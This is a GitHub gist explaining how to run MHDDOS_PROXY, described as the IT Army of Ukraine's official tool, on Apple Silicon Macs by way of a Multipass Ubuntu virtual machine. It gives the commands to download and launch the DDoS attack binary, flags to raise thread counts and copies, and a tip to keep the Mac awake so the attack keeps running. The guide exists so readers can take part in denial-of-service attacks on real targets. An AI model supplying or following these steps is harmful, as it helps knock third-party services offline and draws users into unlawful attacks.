Skip to content

Instantly share code, notes, and snippets.

@prikid
Last active April 21, 2023 10:46
Show Gist options
  • Save prikid/0cd17e45800f3d4faea6a2be58e8979f to your computer and use it in GitHub Desktop.
Save prikid/0cd17e45800f3d4faea6a2be58e8979f to your computer and use it in GitHub Desktop.
How to run the MHDDOS_PROXY (the IT Army of Ukraine official tool) on Mac Apple Silicone M1 or M2

How to run the MHDDOS_PROXY (the IT Army of Ukraine official tool) on Mac Apple Silicone M1 or M2

There are builds of MHDDOS_PROXY only for Linux and Windows, for all other systems the Docker solution is recommend. But for some reason the Docker solution does not work on my Macbook Air with Apple Silicone M1 processor.

So, as a workaround I use the virtual machine with Ubuntu created by using Multipass

Here are the steps I made:

  1. Install Multipass by the command brew install multipass or download and run the installer
  2. Open a terminal and run these commands one by one:
  • multipass launch -n mhddos
  • multipass exec mhddos -- curl -Lo mhddos_proxy_linux https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux_arm64
  • multipass exec mhddos -- chmod +x mhddos_proxy_linux
  1. Now you can run the mhddos_proxy itself:
  • multipass exec mhddos -- ./mhddos_proxy_linux

To stop the script press Control-C. To run it again repeat the last command.

To stop the virtual machine - multipass stop mhddos

To delete stopped virtual machine - multipass delete mhddos and then multipass purge

If you want you can add more memory and processor cores to the virtual machine during creating by using parameters -m and -c, for example:

  • multipass launch -n mhddos -m 3G -c 4 - will create a VM with 3Gb memory and 4 cores.

And of course you can use the parameters --threads, --copies and --user-id when run the script, for example:

  • multipass exec mhddos -- ./mhddos_proxy_linux --threads 2000 --copies 4 --user-id 470119906

To prevent Mac from sleep use the Amphetamine app

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment